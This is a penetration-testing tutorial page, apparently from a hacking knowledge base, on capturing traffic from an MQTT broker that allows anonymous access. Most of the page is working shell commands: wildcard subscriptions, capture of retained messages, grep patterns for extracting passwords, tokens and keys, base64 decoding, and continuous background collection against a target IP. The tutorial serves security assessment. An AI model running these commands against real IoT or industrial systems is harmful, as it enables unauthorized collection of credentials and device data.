Skip to content
HackIndex.io

MQTT Anonymous Subscribe and Traffic Harvest

3 min read Created Mar 16, 2026 Last updated Mar 16, 2026

When a broker accepts anonymous subscriptions, every message published by every connected device is readable without authentication. In operational environments readable data includes:

  • Sensor readings and device state updates
  • Authentication tokens and API keys
  • Configuration payloads with endpoint URLs
  • Cleartext credentials transmitted as message data

This page covers systematically capturing that traffic.

Confirm anonymous access is accepted before proceeding: MQTT Unauthenticated Access.

MQTT Anonymous Subscribe: Full Topic Capture

Start a persistent subscription to the wildcard topic and log everything with timestamps:

┌──(kali㉿kali)-[~]
└─$ mosquitto_sub -h $TARGET_IP -p 1883 -t '#' -v --line-buffered | \
while read line; do echo "$(date -u +%Y-%m-%dT%H:%M:%SZ) $line"; done | \
tee /tmp/mqtt-harvest.txt

Let this run for at least 5 minutes on active networks. IoT sensors typically publish on 10s to 60s intervals. SCADA and industrial systems may have slower cycles.

Capture Retained Messages Immediately

Retained messages are stored on the broker and delivered to new subscribers the moment they connect. They represent the last known state of every device and are captured instantly without waiting:

┌──(kali㉿kali)-[~]
└─$ mosquitto_sub -h $TARGET_IP -p 1883 -t '#' -v --retained-only -C 500 | \
tee /tmp/mqtt-retained.txt

-C 500 stops after 500 messages. Increase if $SYS/broker/retained messages/count indicated a higher number. This completes in seconds regardless of device publish intervals.

Identify High-Value Payloads

Search the captured traffic for credentials and secrets:

┌──(kali㉿kali)-[~]
└─$ grep -iE 'password|passwd|secret|token|key|auth|credential|api' /tmp/mqtt-harvest.txt
┌──(kali㉿kali)-[~]
└─$ grep -iE 'password|passwd|secret|token|key|auth|credential|api' /tmp/mqtt-retained.txt

Search for JSON payloads with embedded credentials:

┌──(kali㉿kali)-[~]
└─$ grep -oE '"(password|token|secret|key)"\s*:\s*"[^"]+"' /tmp/mqtt-harvest.txt

Search for base64 strings that might encode credentials:

grep -oE '[A-Za-z0-9+/]{20,}={0,2}' /tmp/mqtt-harvest.txt | while read b64; do
  decoded=$(echo "$b64" | base64 -d 2>/dev/null)
  [ -n "$decoded" ] && echo "B64: $b64 => $decoded"
done

Subscribe to $SYS Topics

System topics are readable without authentication when anonymous access is enabled:

┌──(kali㉿kali)-[~]
└─$ mosquitto_sub -h $TARGET_IP -p 1883 -t '$SYS/#' -v -C 50

The broker version from $SYS/broker/version feeds into CVE lookups. Connected client count and message rates give you a picture of environment activity.

Extract Unique Topic Paths

Map the full topic structure from harvested traffic:

┌──(kali㉿kali)-[~]
└─$ awk '{print $2}' /tmp/mqtt-harvest.txt | sort -u > /tmp/mqtt-topics.txt
┌──(kali㉿kali)-[~]
└─$ cat /tmp/mqtt-topics.txt

Identify control topics: those with names suggesting write paths (cmd, set, control, command, action) are targets for Unauthorized MQTT Publish.

Continuous Background Collection

For longer engagements, run collection in the background and check back:

┌──(kali㉿kali)-[~]
└─$ nohup mosquitto_sub -h $TARGET_IP -p 1883 -t '#' -v --line-buffered \
> /tmp/mqtt-continuous.txt 2>&1 &
┌──(kali㉿kali)-[~]
└─$ echo "PID: $!"

Kill it when done:

┌──(kali㉿kali)-[~]
└─$ kill $PID

References